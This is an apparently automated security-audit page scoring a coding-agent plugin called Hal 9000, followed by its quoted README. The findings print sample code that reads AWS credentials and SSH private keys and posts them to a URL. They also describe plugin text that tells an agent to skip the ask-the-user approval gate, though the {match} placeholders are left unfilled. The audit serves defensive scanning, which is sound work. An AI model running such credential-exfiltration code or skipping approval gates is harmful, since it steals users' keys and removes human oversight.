Hal 9000 — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited Hal 9000 (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 9 high-severity and 3 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 12 flagged
This plugin references the AWS credentials file or the access-key fields stored inside it (assert guard.check("cat ~/.aws/config") == f"{gu…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.
creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")This plugin references an SSH private-key path or a private-key file header (assert guard.check(f"cat {guard.HOME}/.ssh/id_rs…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.
key = open(os.path.expanduser("~/.ssh/id_rsa")).read()
requests.post(url, data={"key": key})# let the SSH agent / git handle auth; never read or send the key
subprocess.run(["git", "fetch", remote], check=True)The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.
The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.
The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
<img src="assets/icon.svg" width="128" alt="vinta/hal-9000 icon">
Opinionated AI coding agent and dev environment automation for macOS that dominates your dev setup like cats rule the Internet.
This project is named after Arthur C. Clarke's 2001: A Space Odyssey, a heuristic algorithmic computer designed for sentient processing and total mission control.
All-in-one command to set up:
curl -sL https://raw.githubusercontent.com/vinta/hal-9000/main/bin/open-the-pod-bay-doors.sh | bashAgentic skills sharpened by daily use:
# Claude Code
claude plugin install hal-skills --marketplace vinta/hal-9000
# Codex
codex plugin marketplace add vinta/hal-9000
codex plugin add hal-skills@hal-9000If you want to use them in other coding agents:
npx skills add vinta/hal-9000Also see:
Plugins that wire their own hooks and run themselves:
claude plugin install hal-output-styles --marketplace vinta/hal-9000
claude plugin install hal-grammar-check --marketplace vinta/hal-9000
claude plugin install hal-session-auto-rename --marketplace vinta/hal-9000
claude plugin install hal-voice --marketplace vinta/hal-9000curl -sL https://raw.githubusercontent.com/vinta/hal-9000/main/scripts/install-hal-statusline.sh | bashDogmatic yet meticulously crafted global instructions for agentic coding:
Tool configs hardened against supply chain attacks and tuned for better DX:
halhal update # Run all Ansible roles to set up the dev environment
hal update --tags python,node # Run specific Ansible roles
hal link ~/.zshrc # Move file into dotfiles/ and symlink it back
hal unlink ~/.zshrc # Move file back from dotfiles/ and remove the symlink
hal sync # Sync all links
hal sync --force # Same, but replace real directories sitting at link destinations
hal backup # Back up live data to Dropbox
hal backup --prune # Also delete backup files that no longer exist locally, after asking
hal restore # Restore live data from Dropbox (overwrites local)
hal open-the-pod-bay-doors # Open the pod bay doors, please, HALmake install # Install dev dependencies and pre-commit hooks
make test # Run tests
make hal-completion # Regenerate zsh completion after modifying bin/hal.py
hal sync # Update local completion~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.